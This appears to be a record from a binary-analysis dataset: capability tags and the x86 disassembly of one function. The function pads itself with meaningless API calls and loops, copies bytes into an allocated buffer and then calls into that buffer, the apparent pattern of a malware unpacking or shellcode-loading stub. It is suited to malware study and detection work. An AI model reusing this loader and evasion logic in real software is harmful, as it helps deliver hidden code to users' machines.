Function at 0x42fdd2
Capabilities:
Get common file path
Get disk size
Get file attributes
Get hostname
Set environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.00438d30
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x42fe0b
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x42fe1c
inc edi
cmp edi, 0x67d12
jl 0x42fde6
cmp dword [0x473034], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x42fec3
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0xc20]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x42f8a8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
call dword [sym.imp.GDI32.dll_GetPixelFormat]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.00430f4a
pop ecx
push esi
push esi
call fcn.00430f79
push esi
call fcn.00430f33
add esp, 0xc
add dword [0x473034], 0x1134b
push dword [0x473034]
mov eax, dword [0x441b2c]
push esi
mov dword [0x473e70], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x472ac0], eax
call fcn.0042fd58
mov edi, 0x1692e
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x42fef3
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
cmp dword [0x473034], esi
jbe 0x42ff71
mov eax, dword [0x473e70]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x472ac0]
mov byte [ecx + edi], al
cmp dword [0x473034], 0x490
jne 0x42ff68
push esi
lea eax, [ebp - 4]
push eax
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc edi
cmp edi, dword [0x473034]
jb 0x42ff15
xor edi, edi
mov eax, dword [0x473034]
add eax, edi
cmp eax, 0x8d
jne 0x42ffc7
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x42f8bc
push 0x42f8f4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x42ff73
call fcn.0042fc5f
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x42fff5
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x4a5c
mov eax, dword [ebp - 4]
add dword [0x472ac0], eax
inc edi
cmp edi, 0x674bd
jl 0x42ffd7
push 0x7b
pop edi
cmp dword [0x473034], 0x86
jne 0x43005e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0x420]
push eax
push 0x42f908
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x473034], 0xf
jne 0x43006e
push esi
lea eax, [ebp - 8]
push eax
call ebx
dec edi
jne 0x430001
push 0x42f928
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x472ac0]
pop edi
pop esi
pop ebx
leave
ret